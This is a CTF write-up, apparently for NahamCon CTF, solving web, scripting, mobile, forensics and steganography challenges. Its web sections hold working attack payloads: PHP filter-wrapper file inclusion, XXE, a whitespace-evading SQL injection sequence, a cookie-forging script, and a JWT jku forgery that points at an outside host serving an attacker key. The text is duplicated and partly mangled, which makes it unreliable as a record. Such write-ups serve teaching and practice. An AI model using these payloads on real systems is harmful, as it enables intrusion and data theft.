PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KICA8aGVhZD4KICAgIDxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4KICAgIDx0aXRsZT5QaHBob25lYm9vazwvdGl0bGU+CiAgICA8bGluayBocmVmPSJtYWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ij4KICA8L2hlYWQ+CgogIDxib2R5IGNsYXNzPSJiZyI+CiAgICA8aDEgaWQ9ImhlYWRlciI+IFdlbGNvbWUgdG8gdGhlIFBocGhvbmVib29rIDwvaDE+CgogICAgPGRpdiBpZD0iaW1fY29udGFpbmVyIj4KCiAgICAgIDxpbWcgc3JjPSJib29rLmpwZyIgd2lkdGg9IjUwJSIgaGVpZ2h0PSIzMCUiLz4KCiAgICAgIDxwIGNsYXNzPSJkZXNjIj4KICAgICAgVGhpcyBwaHBob25lYm9vayB3YXMgbWFkZSB0byBsb29rIHVwIGFsbCBzb3J0cyBvZiBudW1iZXJzISBIYXZlIGZ1bi4uLgogICAgICA8L3A+CgogICAgPC9kaXY+Cjxicj4KPGJyPgogICAgPGRpdj4KICAgICAgPGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249IiMiPgogICAgICAgIDxsYWJlbCBpZD0iZm9ybV9sYWJlbCI+RW50ZXIgbnVtYmVyOiA8L2xhYmVsPgogICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJudW1iZXIiPgogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTdWJtaXQiPgogICAgICA8L2Zvcm0+CiAgICA8L2Rpdj4KCiAgICA8ZGl2IGlkPSJwaHBfY29udGFpbmVyIj4KICAgIDw/cGhwCiAgICAgIGV4dHJhY3QoJF9QT1NUKTsKCiAgICAJaWYgKGlzc2V0KCRlbWVyZ2VuY3kpKXsKICAgIAkJZWNobyhmaWxlX2dldF9jb250ZW50cygiL2ZsYWcudHh0IikpOwogICAgCX0KICAgID8+CiAgPC9kaXY+CiAgPC9icj4KICA8L2JyPgogIDwvYnI+CgoKPGRpdiBzdHlsZT0icG9zaXRpb246Zml4ZWQ7IGJvdHRvbToxJTsgbGVmdDoxJTsiPgo8YnI+PGJyPjxicj48YnI+CjxiPiBOT1QgQ0hBTExFTkdFIFJFTEFURUQ6PC9iPjxicj5USEFOSyBZT1UgdG8gSU5USUdSSVRJIGZvciBzdXBwb3J0aW5nIE5haGFtQ29uIGFuZCBOYWhhbUNvbiBDVEYhCjxwPgo8aW1nIHdpZHRoPTYwMHB4IHNyYz0iaHR0cHM6Ly9kMjR3dXE2bzk1MWkyZy5jbG91ZGZyb250Lm5ldC9pbWcvZXZlbnRzL2lkLzQ1Ny80NTc3NDgxMjEvYXNzZXRzL2Y3ZGEwZDcxOGViNzdjODNmNWNiNjIyMWEwNmEyZjQ1LmludGkucG5nIj4KPC9wPgo8L2Rpdj4KCiAgPC9ib2R5Pgo8L2h0bWw+`After decoding it we find out what we need to do fo getting the flag.
Making a POST request to `http://jh2i.com:50002/phphonebook.php` with the body `emergency=true` gave us the flag.
Flag: flag{phon3_numb3r_3xtr4ct3d}
## Official BusinessPoints: 125
#### Description>Are you here on official business? Prove it.>>Connect here:>http://jh2i.com:50006
### SolutionThe main web page shows us a login form and told us that we need to login in as admin to continue.Checking the `robots.txt` file we see the code used for authenticating.Here is the code that makes the login:```[email protected]("/login", methods=["POST"])def login():
user = request.form.get("user", "") password = request.form.get("password", "")
if ( user != "hacker" or hashlib.sha512(bytes(password, "ascii")).digest() != b"hackshackshackshackshackshackshackshackshackshackshackshackshack" ): return abort(403) return do_login(user, password, True)``` As you can see, there's no way we can provide a passwod that will result in that hash. So it must be something else.
```[email protected]("/")def index():
ok, cookie = load_cookie() if not ok: return abort(403)
return render_template( "index.html", user=cookie.get("user", None), admin=cookie.get("admin", None), flag=FLAG, ) def load_cookie():
cookie = {} auth = request.cookies.get("auth") if auth:
try: cookie = json.loads(binascii.unhexlify(auth).decode("utf8")) digest = cookie.pop("digest")
if ( digest != hashlib.sha512( app.secret_key + bytes(json.dumps(cookie, sort_keys=True), "ascii") ).hexdigest() ): return False, {} except: pass
return True, cookie``` At this point it's clear we need to forge the cookie to login as admin.There's a bug in this code. In `do_login` we can see that the value for `cookie["digest"]` is obtained by concatenating the secret key to the rest of the keys from the cookie.The thing is that in `load_cookie` the digest is compared with the sha512 of `secret_key + bytes(json.dumps(cookie, sort_keys=True)` and basically the secret key doesn't matter.We can make a cookie with any values and it will pass the verification from `load_cookie`. The secret key is used wrong here and we can abuse that by crafting our own cookie.I wrote the next script that does that. ```pythonimport binasciiimport hashlibimport json
secret_key = b'suchsecretwow'
def do_login(user, password, admin): cookie = {"user": user, "password": password, "admin": admin} cookie["digest"] = hashlib.sha512( secret_key + bytes(json.dumps(cookie, sort_keys=True), "ascii") ).hexdigest()
cookie_value = binascii.hexlify(json.dumps(cookie).encode("utf8"))
return cookie_value
def load_cookie(user, password): cookie = {} auth = do_login(user, password, True)
if auth:
try: cookie = json.loads(binascii.unhexlify(auth).decode("utf8")) digest = cookie.pop("digest")
if ( digest != hashlib.sha512( secret_key + bytes(json.dumps(cookie, sort_keys=True), "ascii") ).hexdigest() ): return False, {} except: pass
return True, cookie
cookie_t = load_cookie('hacker', 'a')```
After adding the cookie with the value returned by `do_login` from our script we get the flag.
Flag: flag{did_this_even_pass_code_review}
## ExtraterrestrialPoints: 125 #### Description>Have you seen any aliens lately? Let us know!>>The flag is at the start of the solar system.>>Connect here:>http://jh2i.com:50004 ### SolutionWhen accessing the page we are prompted with the next form:
I tried some XSS vectors at first and I got a wierd error. For `` the server returned `Space required`.When I insert `<script>alert(1)</script>` the server returned `array(0) {}`. After some more tries I started thinking that is not about XSS.The next thing that came to my mind was XXE. I went to https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection and tried the first payload for returning a file: `]><root>&tes;;</root>`.That weird arry response from the server not looked like this:
Cool. Reading again the description, we try to use the next info:>The flag is at the start of the solar system.
This must mean that the flag is located under `/`.The payload `]><root>&tes;;</root>` gave us the flag.
Flag: flag{extraterrestrial_extra_entities} ## Rejected Sequel Points: 150 #### Description>Look at all these movie sequels that never got released! Will yours make it through??>>Connect here:>http://jh2i.com:50008 ### Solution Going to the web page we see that we have a form for searching moovies by name. Poking around, I see the next comment: ``
Interesting. Fuzzing a little the search input I received an error message from MySQL. Nice.Still, something was odd. Adding the debug parameter in my GET request I saw that the whitespaces were removed. For example, searching for `gone home` returned me this:
After playing a liitle around I discovered that I can use `/**/` instead of spaces and it will work just fine.At this point is just a common SQL Injection attack were all the wite spaces are replaced with `/**/`.Payload | Information gained------- | ------------------`"order/**/ by/**/2#` | Single column queried`"union/**/select/**/schema_name/**/from/**/information_schema.schemata#` | Database name: rejected_sequel`"union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema="rejected_sequel"#` | Two tables: *flag*, *movies*`"union/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name="flag"#` | Columns from flag table: *flag*`"union/**/select/**/flag/**/from/**/flag#` | The values from the column *flag* from table *flag*
Flag: flag{at_least_this_sequel_got_published}
## Flag JokesPoints: 200
#### Description
>Want to hear a joke? Want the flag? How about both? Why don't YOU tell me a joke!>>Note, it is recommended to clear your cookies for this challenge as some may have the same names used in other challenges.>>Connect here:>http://jh2i.com:50010
### Solution
The page displays a form where you can login by only providing an username. We need to login as admin, but we can't do it directly.Providing any other username we are prompted with the next page:
Let's take a look at what cookie we have. It seems that the authentication mechanism is based on JWT. Puttin the value in Burp we get the next output:
Reading this article https://medium.com/swlh/hacking-json-web-tokens-jwts-9122efe91e4a I thought that maybe this token is exploitable by changing the *jku* value.Using https://github.com/ticarpi/jwt_tool I tried to exploit it by first changing the username into *admin* and after that by generating a new JSON Web Keys Set.The output from JWT_tool.py:```textYour new forged token:(Signed with: private_jwttool_RSA_1592044374.pem)[+] eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHBzOi8vZW5hYTBpaGoxdW91dDZqLm0ucGlwZWRyZWFtLm5ldC9qd2tzLmpzb24iLCJraWQiOiJrZXlpZHNhbXBsZSJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.K0hK28hR4wPhRch7PrQ-eh8mM_8_zewdL1ErHg-YCvqdypTl4eRN_fvol9fG7PAORYOzfWEHM3OuiGGg6Jd22Ii8xz025rb_0vhRO7kdZVgKEJblAUd8shJjCe3WmT_HEj83LPg0OhhRqD3QpcWgu62mvVuL-vKXIE13gz1wjT_PzVH4O6jqgIFj-WC5WMgOxP3-NiybAnORlCzpzv31qeWoAawXgiiC_PFlAZfjOfREHa8kSR_mufjOhgEbjO9fZsMrm7KJQzQup8O1OFzmdjiaScmsw8e-Bbo66QSkPoonbpDmLu9v8aUH1v4waDZ0IoutdMY2ItbVQ5IbRXv2OQ
Paste this JWKS into a new file at the following location: https://enaa0ihj1uout6j.m.pipedream.net/jwks.json(Also exported as: jwks_jwttool_RSA_1592044374.json)[+]{ "kty":"RSA", "kid":"keyidsample", "use":"sig", "e":"AQAB", "n":"t_VtloNSQtuAB8wxqlfXGiDRPO2rUG1-BgMidCPKay6efk-yUOV15k1-mtcOfukyzy41FhuG_Izk8qk5tSbl0vzG6el0bm4gkq7cT_vZF3buFVnu77d7-_we8imyNKimqanzbmdQeLNl8PpOME2xrZIGPZEG9tsXoIbtrnAjKHlqnxAdETPv9crzDzTJDRdVhOifTD7OqV6edsRlCZVnS5XwGstsbMBKAfSjfe3OIjj-5e6cX_wHsGPIMrN4xR41Lz0nbwIG3djYHL5fbKiLuEMJFS9NzBwcoLfYq6Xer2C5coTn5cUJLUpGKrg7lSZo2SvZLFzegq0gOPwmIfDpkQ"}
``` I hosted the content key inside a flow from https://pipedream.com/ and set the new token in browser.
After hitting refresh I got the flag. 
Flag: flag{whoops_typo_shoulda_been_flag_jwks} # Scripting ## Rotten Points: 100 #### Description>Ick, this salad doesn't taste too good!>>Connect with:>nc jh2i.com 50034
### Solution Running nc jh2i.com 50034 we are asked to return exactly the response. > send back this line exactly. no flag here, just filler. After doing so for a few times we get `jveu srtb kyzj czev vortkcp. ef wcrx yviv, aljk wzccvi.` which seems to be a variation of ROT13 or Ceaser cypher. Sending exactly this message back will close the connection, so we need to decode it first and only afterwards send it. PLaying a liitle more I received the next message: > fraq onpx guvf yvar rknpgyl. punenpgre 2 bs gur synt vf 'n' Which decoded with ROT13 will become `send back this line exactly. character 2 of the flag is 'a'`. Nice, so we got an idea of how this works. We need to keep replying with the decoded line and extract the chars for building the flag on the way. The implementation for the ROTN decoding function is from here: https://eddmann.com/posts/implementing-rot13-and-rot-n-caesar-ciphers-in-python/ My final script: ```pythonimport pwnimport refrom string import ascii_lowercase as lc, ascii_lowercase as uc
def rot_alpha(n): lookup = str.maketrans(lc + uc, lc[n:] + lc[:n] + uc[n:] + uc[:n]) return lambda s: s.translate(lookup)
flag = dict()base_positoin = ascii_lowercase.find('s')r_position = re.compile('[0-9]{1,2}')r_letter = re.compile('\'.\'')
conn = pwn.remote('jh2i.com', 50034)line = conn.recvline()conn.send(line)
while True: rotted = conn.recvline().decode('utf-8') rot_letter = lc.find(rotted[0]) rot_number = base_positoin - rot_letter reversed_line = rot_alpha(rot_number)(rotted) if len(r_position.findall(reversed_line)) > 0: key = r_position.findall(reversed_line)[0] value = r_letter.findall(reversed_line)[0].replace('\'', '') flag[key] = value conn.send(reversed_line)``` Since I don't know th size of the flag I opted for running in debug mode and trying to build the flag after a few minutes. 
Flag: flag{now_you_know_your_caesars}
## Miscellaneous### VortexPoints: 75#### Description>Will you find the flag, or get lost in the vortex?>>Connect here:>nc jh2i.com 50017
### SolutionConnecting with netcat we get a lot of garbage. I let it connected for 1 minute and I received in continue chunk of bytes. So, my guess is that we need to find the flag in all that mess.
This small script will do the job:
```pythonimport pwn
conn = pwn.remote('jh2i.com', 50017)line = b''
while True: if b'flag' in line: print(line) break
line = conn.recvline()
conn.close()```
Flag: flag{more_text_in_the_vortex}
## Fake FilePoints: 100#### Description>Wait... where is the flag?>>Connect here:>nc jh2i.com 50026
### SolutionConnecting with netcat we get a bash. Poking around I couldn't find anything interesting so I went with `grep -r flag{ /` and we find the flag in `/home/user/..`.
Flag: flag{we_should_have_been_worried_about_u2k_not_y2k}
## AlkatrazPoints: 100#### Description>We are so restricted here in Alkatraz. Can you help us break out?>>Connect here:>nc jh2i.com 50024
### SolutionConnecting with netcat we get a bash, but we only have access to `ls` command. We are also restricted to run commands if `/` is in theirs names.
We solve this by reading the file with bash scripting.
Flag: flag{congrats_you_just_escaped_alkatraz}
# Mobile## CandroidPoints: 50#### Description>I think I can, I think I can!>>Download the file below.
### SolutionWe are given an apk file. I tried running strings on it and it gave me the flag.
Flag: flag{4ndr0id_1s_3asy}
## Simple AppPoints: 50#### Description>Here's a simple Android app. Can you get the flag?>>Download the file below.
### SolutionWe are given an apk file. I decompiled it using `apktool d simple-app.apk` and after that I ran `grep -r flag{ .` and got the flag.
Flag: flag{3asY_4ndr0id_r3vers1ng}
# Forensics## MicrosoftPoints: 100#### Description>We have to use Microsoft Word at the office!? Oof...>>Download the file below.
### SolutionWe are given a .docx file. Running file we see that is a `Microsoft OOXML` file, so nothing interesting. We try running binwalk to see if there are hidden files inside. We are in luck, there are. Now we run `grep -r flag .` inside the extracted directory and we get the flag:>./src/oof.txt:Sed eget sem mi. Nunc ornare tincidunt nulla quis imperdiet. Donec quis dignissim lorem, vel dictum felis. Morbi blandit dapibus lorem nec blandit. Pellentesque ornare auctor est, vitae ultrices nulla efficitur quis. *flag{oof_is_right_why_gfxdata_though}* Morbi vel velit vel sem malesuada volutpat interdum ut elit. Duis orci nisl, suscipit non maximus sit amet, consectetur at diam. Vestibulum cursus odio vitae eros mollis sodales. Ut scelerisque magna diam, sit amet porttitor massa tincidunt tempus. Vivamus libero nulla, facilisis id faucibus sit amet, ultricies non dolor. Maecenas ornare viverra dui, nec vestibulum nisl pretium id. Nam fringilla maximus quam non porttitor. Curabitur eget ultricies metus. Nunc hendrerit dolor non nulla volutpat sollicitudin. Suspendisse hendrerit odio nec luctus venenatis. Nullam lobortis fringilla aliquam.
Flag: flag{oof_is_right_why_gfxdata_though}
# Steganography## KstegPoints: 50#### Description> This must be a typo.... it was kust one letter away!>>Download the file below.
### SolutionWe are given a jpg file. I tried running some tools, but nothing was working. Reading again the description I see that they misspelled `just` by writing `kust`. I also thought that the title challenge was the tool that was used, but I couldn't find it. Putting it all togheter, the tool must be called `jsteg`, not `ksteg`.This is the repository of the tool: https://github.com/lukechampine/jstegRunning `jsteg reveal luke.jpg` gave us the flag.
Flag: flag{yeast_bit_steganography_oops_another_typo}
## DohPoints: 50#### Description>Doh! Stupid steganography...>>Note, this flag is not in the usual format.>>Download the file below.
### SolutionWe are given a jpg file. We try running steghide to extract whatever might be hidden. First, we try it without a password. We're in luck. Steghide extracted the `flag.txt` file.
Flag: JCTF{an_annoyed_grunt} |
##### Table of Contents- [Web](#web) - [Agent 95](#agent95) - [Localghost](#localghost) - [Phphonebook](#phphonebook) - [Official Business](#official-business) - [Extraterrestrial](#extraterrestrial) - [Rejected Sequel](#rejected-sequel) - [Flag jokes](#flag-jokes)- [Scripting](#Scripting) - [Rotten](#Rotten)- [Miscellaneous](#Miscellaneous) - [Vortex](#Vortex) - [Fake File](#Fake-File) - [Alkatraz](#Alkatraz)- [Mobile](#Mobile) - [Candroid](#Candroid) - [Simple App](#Simple-App)- [Forensics](#Forensics) - [Microsoft](#Microsoft)- [Steganography](#Steganography) - [Ksteg](#Ksteg) - [Doh](#Doh)<hr>
# Web## Agent 95Points: 50
#### Description>They've given you a number, and taken away your name~>>Connect here:>http://jh2i.com:50000
### Solution
After accessing the site we get the next message: "You don't look like our agent!We will only give our flag to our Agent 95! He is still running an old version of Windows..."
My guess is that we need to temper the User-Agent HTTP header with the value Windows 95. Doing so in Burp, we get the flag.
Flag: flag{user_agents_undercover}
## LocalghostPoints: 75
#### Description>BooOooOooOOoo! This spooOoOooky client-side cooOoOode sure is scary! What spoOoOoOoky secrets does he have in stooOoOoOore??>>Connect here:>http://jh2i.com:50003>>Note, this flag is not in the usual format.
### SolutionLooking around the page there is nothing interesting, but reading again the description I figure that there might be something in the local storage. Going there, I got the flag.
Flag: JCTF{spoooooky_ghosts_in_storage}
## PhphonebookPoints: 100
#### Description>Ring ring! Need to look up a number? This phonebook has got you covered! But you will only get a flag if it is an emergency!>>Connect here:>http://jh2i.com:50002
### Solution
The web page displays the next message: >Sorry! You are in /index.php/?file=>>The phonebook is located at phphonebook.php
Going to `http://jh2i.com:50002/index.php/?file=phphonebook.php` we can see that there's not much going on, so we need more information. Seeing the `file` parameter I though I can do a local file inclusion.I tested it with `file=/etc/passwd`, but it didn't work. I didn't give up and tried to do a LFI with php wrappers.Providing the next payload we got the content of phphonebook.php in base64: `http://jh2i.com:50002/index.php/?file=php://filter/convert.base64-encode/resource=phphonebook.php`Base64 string returned: ` PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KICA8aGVhZD4KICAgIDxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4KICAgIDx0aXRsZT5QaHBob25lYm9vazwvdGl0bGU+CiAgICA8bGluayBocmVmPSJtYWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ij4KICA8L2hlYWQ+CgogIDxib2R5IGNsYXNzPSJiZyI+CiAgICA8aDEgaWQ9ImhlYWRlciI+IFdlbGNvbWUgdG8gdGhlIFBocGhvbmVib29rIDwvaDE+CgogICAgPGRpdiBpZD0iaW1fY29udGFpbmVyIj4KCiAgICAgIDxpbWcgc3JjPSJib29rLmpwZyIgd2lkdGg9IjUwJSIgaGVpZ2h0PSIzMCUiLz4KCiAgICAgIDxwIGNsYXNzPSJkZXNjIj4KICAgICAgVGhpcyBwaHBob25lYm9vayB3YXMgbWFkZSB0byBsb29rIHVwIGFsbCBzb3J0cyBvZiBudW1iZXJzISBIYXZlIGZ1bi4uLgogICAgICA8L3A+CgogICAgPC9kaXY+Cjxicj4KPGJyPgogICAgPGRpdj4KICAgICAgPGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249IiMiPgogICAgICAgIDxsYWJlbCBpZD0iZm9ybV9sYWJlbCI+RW50ZXIgbnVtYmVyOiA8L2xhYmVsPgogICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJudW1iZXIiPgogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTdWJtaXQiPgogICAgICA8L2Zvcm0+CiAgICA8L2Rpdj4KCiAgICA8ZGl2IGlkPSJwaHBfY29udGFpbmVyIj4KICAgIDw/cGhwCiAgICAgIGV4dHJhY3QoJF9QT1NUKTsKCiAgICAJaWYgKGlzc2V0KCRlbWVyZ2VuY3kpKXsKICAgIAkJZWNobyhmaWxlX2dldF9jb250ZW50cygiL2ZsYWcudHh0IikpOwogICAgCX0KICAgID8+CiAgPC9kaXY+CiAgPC9icj4KICA8L2JyPgogIDwvYnI+CgoKPGRpdiBzdHlsZT0icG9zaXRpb246Zml4ZWQ7IGJvdHRvbToxJTsgbGVmdDoxJTsiPgo8YnI+PGJyPjxicj48YnI+CjxiPiBOT1QgQ0hBTExFTkdFIFJFTEFURUQ6PC9iPjxicj5USEFOSyBZT1UgdG8gSU5USUdSSVRJIGZvciBzdXBwb3J0aW5nIE5haGFtQ29uIGFuZCBOYWhhbUNvbiBDVEYhCjxwPgo8aW1nIHdpZHRoPTYwMHB4IHNyYz0iaHR0cHM6Ly9kMjR3dXE2bzk1MWkyZy5jbG91ZGZyb250Lm5ldC9pbWcvZXZlbnRzL2lkLzQ1Ny80NTc3NDgxMjEvYXNzZXRzL2Y3ZGEwZDcxOGViNzdjODNmNWNiNjIyMWEwNmEyZjQ1LmludGkucG5nIj4KPC9wPgo8L2Rpdj4KCiAgPC9ib2R5Pgo8L2h0bWw+`After decoding it we find out what we need to do fo getting the flag.
Making a POST request to `http://jh2i.com:50002/phphonebook.php` with the body `emergency=true` gave us the flag.
Flag: flag{phon3_numb3r_3xtr4ct3d}
## Official BusinessPoints: 125
#### Description>Are you here on official business? Prove it.>>Connect here:>http://jh2i.com:50006
### SolutionThe main web page shows us a login form and told us that we need to login in as admin to continue.Checking the `robots.txt` file we see the code used for authenticating.Here is the code that makes the login:```[email protected]("/login", methods=["POST"])def login():
user = request.form.get("user", "") password = request.form.get("password", "")
if ( user != "hacker" or hashlib.sha512(bytes(password, "ascii")).digest() != b"hackshackshackshackshackshackshackshackshackshackshackshackshack" ): return abort(403) return do_login(user, password, True)``` As you can see, there's no way we can provide a passwod that will result in that hash. So it must be something else.
```[email protected]("/")def index():
ok, cookie = load_cookie() if not ok: return abort(403)
return render_template( "index.html", user=cookie.get("user", None), admin=cookie.get("admin", None), flag=FLAG, ) def load_cookie():
cookie = {} auth = request.cookies.get("auth") if auth:
try: cookie = json.loads(binascii.unhexlify(auth).decode("utf8")) digest = cookie.pop("digest")
if ( digest != hashlib.sha512( app.secret_key + bytes(json.dumps(cookie, sort_keys=True), "ascii") ).hexdigest() ): return False, {} except: pass
return True, cookie``` At this point it's clear we need to forge the cookie to login as admin.There's a bug in this code. In `do_login` we can see that the value for `cookie["digest"]` is obtained by concatenating the secret key to the rest of the keys from the cookie.The thing is that in `load_cookie` the digest is compared with the sha512 of `secret_key + bytes(json.dumps(cookie, sort_keys=True)` and basically the secret key doesn't matter.We can make a cookie with any values and it will pass the verification from `load_cookie`. The secret key is used wrong here and we can abuse that by crafting our own cookie.I wrote the next script that does that. ```pythonimport binasciiimport hashlibimport json
secret_key = b'suchsecretwow'
def do_login(user, password, admin): cookie = {"user": user, "password": password, "admin": admin} cookie["digest"] = hashlib.sha512( secret_key + bytes(json.dumps(cookie, sort_keys=True), "ascii") ).hexdigest()
cookie_value = binascii.hexlify(json.dumps(cookie).encode("utf8"))
return cookie_value
def load_cookie(user, password): cookie = {} auth = do_login(user, password, True)
if auth:
try: cookie = json.loads(binascii.unhexlify(auth).decode("utf8")) digest = cookie.pop("digest")
if ( digest != hashlib.sha512( secret_key + bytes(json.dumps(cookie, sort_keys=True), "ascii") ).hexdigest() ): return False, {} except: pass
return True, cookie
cookie_t = load_cookie('hacker', 'a')```
After adding the cookie with the value returned by `do_login` from our script we get the flag.
Flag: flag{did_this_even_pass_code_review}
## ExtraterrestrialPoints: 125 #### Description>Have you seen any aliens lately? Let us know!>>The flag is at the start of the solar system.>>Connect here:>http://jh2i.com:50004 ### SolutionWhen accessing the page we are prompted with the next form:
I tried some XSS vectors at first and I got a wierd error. For `` the server returned `Space required`.When I insert `<script>alert(1)</script>` the server returned `array(0) {}`. After some more tries I started thinking that is not about XSS.The next thing that came to my mind was XXE. I went to https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection and tried the first payload for returning a file: `]><root>&tes;;</root>`.That weird arry response from the server not looked like this:
Cool. Reading again the description, we try to use the next info:>The flag is at the start of the solar system.
This must mean that the flag is located under `/`.The payload `]><root>&tes;;</root>` gave us the flag.
Flag: flag{extraterrestrial_extra_entities} ## Rejected Sequel Points: 150 #### Description>Look at all these movie sequels that never got released! Will yours make it through??>>Connect here:>http://jh2i.com:50008 ### Solution Going to the web page we see that we have a form for searching moovies by name. Poking around, I see the next comment: ``
Interesting. Fuzzing a little the search input I received an error message from MySQL. Nice.Still, something was odd. Adding the debug parameter in my GET request I saw that the whitespaces were removed. For example, searching for `gone home` returned me this:
After playing a liitle around I discovered that I can use `/**/` instead of spaces and it will work just fine.At this point is just a common SQL Injection attack were all the wite spaces are replaced with `/**/`.Payload | Information gained------- | ------------------`"order/**/ by/**/2#` | Single column queried`"union/**/select/**/schema_name/**/from/**/information_schema.schemata#` | Database name: rejected_sequel`"union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema="rejected_sequel"#` | Two tables: *flag*, *movies*`"union/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name="flag"#` | Columns from flag table: *flag*`"union/**/select/**/flag/**/from/**/flag#` | The values from the column *flag* from table *flag*
Flag: flag{at_least_this_sequel_got_published}
## Flag JokesPoints: 200
#### Description
>Want to hear a joke? Want the flag? How about both? Why don't YOU tell me a joke!>>Note, it is recommended to clear your cookies for this challenge as some may have the same names used in other challenges.>>Connect here:>http://jh2i.com:50010
### Solution
The page displays a form where you can login by only providing an username. We need to login as admin, but we can't do it directly.Providing any other username we are prompted with the next page:
Let's take a look at what cookie we have. It seems that the authentication mechanism is based on JWT. Puttin the value in Burp we get the next output:
Reading this article https://medium.com/swlh/hacking-json-web-tokens-jwts-9122efe91e4a I thought that maybe this token is exploitable by changing the *jku* value.Using https://github.com/ticarpi/jwt_tool I tried to exploit it by first changing the username into *admin* and after that by generating a new JSON Web Keys Set.The output from JWT_tool.py:```textYour new forged token:(Signed with: private_jwttool_RSA_1592044374.pem)[+] eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHBzOi8vZW5hYTBpaGoxdW91dDZqLm0ucGlwZWRyZWFtLm5ldC9qd2tzLmpzb24iLCJraWQiOiJrZXlpZHNhbXBsZSJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.K0hK28hR4wPhRch7PrQ-eh8mM_8_zewdL1ErHg-YCvqdypTl4eRN_fvol9fG7PAORYOzfWEHM3OuiGGg6Jd22Ii8xz025rb_0vhRO7kdZVgKEJblAUd8shJjCe3WmT_HEj83LPg0OhhRqD3QpcWgu62mvVuL-vKXIE13gz1wjT_PzVH4O6jqgIFj-WC5WMgOxP3-NiybAnORlCzpzv31qeWoAawXgiiC_PFlAZfjOfREHa8kSR_mufjOhgEbjO9fZsMrm7KJQzQup8O1OFzmdjiaScmsw8e-Bbo66QSkPoonbpDmLu9v8aUH1v4waDZ0IoutdMY2ItbVQ5IbRXv2OQ
Paste this JWKS into a new file at the following location: https://enaa0ihj1uout6j.m.pipedream.net/jwks.json(Also exported as: jwks_jwttool_RSA_1592044374.json)[+]{ "kty":"RSA", "kid":"keyidsample", "use":"sig", "e":"AQAB", "n":"t_VtloNSQtuAB8wxqlfXGiDRPO2rUG1-BgMidCPKay6efk-yUOV15k1-mtcOfukyzy41FhuG_Izk8qk5tSbl0vzG6el0bm4gkq7cT_vZF3buFVnu77d7-_we8imyNKimqanzbmdQeLNl8PpOME2xrZIGPZEG9tsXoIbtrnAjKHlqnxAdETPv9crzDzTJDRdVhOifTD7OqV6edsRlCZVnS5XwGstsbMBKAfSjfe3OIjj-5e6cX_wHsGPIMrN4xR41Lz0nbwIG3djYHL5fbKiLuEMJFS9NzBwcoLfYq6Xer2C5coTn5cUJLUpGKrg7lSZo2SvZLFzegq0gOPwmIfDpkQ"}
``` I hosted the content key inside a flow from https://pipedream.com/ and set the new token in browser.
After hitting refresh I got the flag. 
Flag: flag{whoops_typo_shoulda_been_flag_jwks} # Scripting ## Rotten Points: 100 #### Description>Ick, this salad doesn't taste too good!>>Connect with:>nc jh2i.com 50034
### Solution Running nc jh2i.com 50034 we are asked to return exactly the response. > send back this line exactly. no flag here, just filler. After doing so for a few times we get `jveu srtb kyzj czev vortkcp. ef wcrx yviv, aljk wzccvi.` which seems to be a variation of ROT13 or Ceaser cypher. Sending exactly this message back will close the connection, so we need to decode it first and only afterwards send it. PLaying a liitle more I received the next message: > fraq onpx guvf yvar rknpgyl. punenpgre 2 bs gur synt vf 'n' Which decoded with ROT13 will become `send back this line exactly. character 2 of the flag is 'a'`. Nice, so we got an idea of how this works. We need to keep replying with the decoded line and extract the chars for building the flag on the way. The implementation for the ROTN decoding function is from here: https://eddmann.com/posts/implementing-rot13-and-rot-n-caesar-ciphers-in-python/ My final script: ```pythonimport pwnimport refrom string import ascii_lowercase as lc, ascii_lowercase as uc
def rot_alpha(n): lookup = str.maketrans(lc + uc, lc[n:] + lc[:n] + uc[n:] + uc[:n]) return lambda s: s.translate(lookup)
flag = dict()base_positoin = ascii_lowercase.find('s')r_position = re.compile('[0-9]{1,2}')r_letter = re.compile('\'.\'')
conn = pwn.remote('jh2i.com', 50034)line = conn.recvline()conn.send(line)
while True: rotted = conn.recvline().decode('utf-8') rot_letter = lc.find(rotted[0]) rot_number = base_positoin - rot_letter reversed_line = rot_alpha(rot_number)(rotted) if len(r_position.findall(reversed_line)) > 0: key = r_position.findall(reversed_line)[0] value = r_letter.findall(reversed_line)[0].replace('\'', '') flag[key] = value conn.send(reversed_line)``` Since I don't know th size of the flag I opted for running in debug mode and trying to build the flag after a few minutes. 
Flag: flag{now_you_know_your_caesars}
## Miscellaneous### VortexPoints: 75#### Description>Will you find the flag, or get lost in the vortex?>>Connect here:>nc jh2i.com 50017
### SolutionConnecting with netcat we get a lot of garbage. I let it connected for 1 minute and I received in continue chunk of bytes. So, my guess is that we need to find the flag in all that mess.
This small script will do the job:
```pythonimport pwn
conn = pwn.remote('jh2i.com', 50017)line = b''
while True: if b'flag' in line: print(line) break
line = conn.recvline()
conn.close()```
Flag: flag{more_text_in_the_vortex}
## Fake FilePoints: 100#### Description>Wait... where is the flag?>>Connect here:>nc jh2i.com 50026
### SolutionConnecting with netcat we get a bash. Poking around I couldn't find anything interesting so I went with `grep -r flag{ /` and we find the flag in `/home/user/..`.
Flag: flag{we_should_have_been_worried_about_u2k_not_y2k}
## AlkatrazPoints: 100#### Description>We are so restricted here in Alkatraz. Can you help us break out?>>Connect here:>nc jh2i.com 50024
### SolutionConnecting with netcat we get a bash, but we only have access to `ls` command. We are also restricted to run commands if `/` is in theirs names.
We solve this by reading the file with bash scripting.
Flag: flag{congrats_you_just_escaped_alkatraz}
